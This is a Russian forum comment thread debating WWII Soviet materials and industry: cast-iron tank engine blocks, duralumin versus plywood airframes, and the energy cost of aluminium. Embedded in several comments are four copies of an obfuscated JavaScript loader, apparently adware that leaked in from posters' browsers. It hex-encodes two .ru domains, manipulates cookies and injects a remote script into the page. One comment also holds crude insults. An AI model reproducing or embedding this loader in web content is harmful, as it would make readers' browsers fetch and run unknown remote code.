 Грифину.  ЕМНИП блоки цилиндров Т-34-85 делали из чугуна.   Переход на чугун совпал с ростом выпуска самолетов.  Самолету малая масса нужней.  Дойчи не могли себе позволить танковые дизеля из-за возрастающего расхода дизтоплива ПЛ.   У немцев тяж. крейсера типа "Дойчланд"  имели дизели.  Но ПЛ было больше и действовали они активней.  Насчет каркаса самолетов.  Что проще: прокатать дюраль в лист или изготовить фанеру?   Которую надо потом пропитать эпоксидкой и обтянуть перкалью.   И эпоксидку и перкаль надо из чего-то изготовить.  Дюраль штамповать, термообработать и покрасить.  Что легче?  Сами же пишите к осени 1942-го пошли дюралевые каркасы.  Значит надо. 

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

 
Одессит
Аватар пользователя Одессит

f16a

Что проще: прокатать дюраль в лист или изготовить фанеру?
Проблема дюраля не в прокатке. А энергозатратах.  Тогда не было еще всех этих сверхмощных ГЭС на восточных реках. Потеря ДнепроГЭСа и Донского угольного бассейна ввело СССР в большой энергодифицит. Энергоостова тоже не были объединены. Производство аллюминия очень прожорливо с точки зрения энергозатрат.

 
f16a
(не проверено)
Аватар пользователя f16a

 Одесситу.  Полностью с вами

 Одесситу.  Полностью с вами согласен.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

 
Геннадий
Аватар пользователя Геннадий

Самолету и человеку

Что за дела - у тебя на одну строчку обычной смысловой галиматьи теперь приходится еще и тридцать строк текстовой абракадабры.

 
Wazawai
Аватар пользователя Wazawai

:3

Модератор в отпуске?

 

Грешно смеяться над больными людьми!

 
 
Одессит
Аватар пользователя Одессит

f16a

Полностью с вами согласен.
А я с собой не совсем. Угольный бассейн - Донецкий. Привязан географически к Северскому Донцу, а не к Дону. Опечатался.
Но это так, по нудности своей уточняю.

 
nniruk
(не проверено)
Аватар пользователя nniruk

t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

f16a

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.

Попробуйте перед тем как вставлять текст нажать "К простому редактору текста". В каких-то браузерах (у меня в файерфоксе) это нужно делать, а в каких-то (на моей опере) нет.

 
f16a
(не проверено)
Аватар пользователя f16a

 Ннируку.   Компьютерных

 Ннируку.   Компьютерных технологий не знаток.  Не могу гарантировать.

 
Грифин
(не проверено)
Аватар пользователя Грифин

печеньками вас с чахлом не

печеньками вас с чахлом не корми, дай немецкий сапог лизнуть, конечно, иван в лаптях с вилами до берлина дошёл, жрал траву, срал нечасто. википедия-краеугольный камень современного образованца. нахер военные историки из кожи лезут, нахер драбкин свидетелей опрашивает да фильмы снимает? википедия же есть!!! жидко обосрался евросоюз в той войне, а вам видимо об этом очень обидно. 

 
f16a
(не проверено)
Аватар пользователя f16a

 Грифину.  Насчет жидко

 Грифину.  Насчет жидко обосрался.    Естественно.  Наличие у обосравшихся хороших грузовиков, самолетов и прочих хай-тек изделий  только подчеркивает позор их поражения.  Хорошие игроки с хорошими картами как правило выигрывают.  А тут безоговорочная капитуляция.  

Отправить комментарий

Содержание этого поля является приватным и не предназначено к показу.
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Разрешённые HTML-теги: <img> <a> <em> <i> <strong> <b> <u> <strike> <p> <br> <ul> <ol> <li> <div> <blockquote>
  • Строки и параграфы переносятся автоматически.

Подробнее о форматировании текста

CAPTCHA
Проверка, что Вы не робот
CAPTCHA на основе изображений
Введите символы, которые показаны на картинке.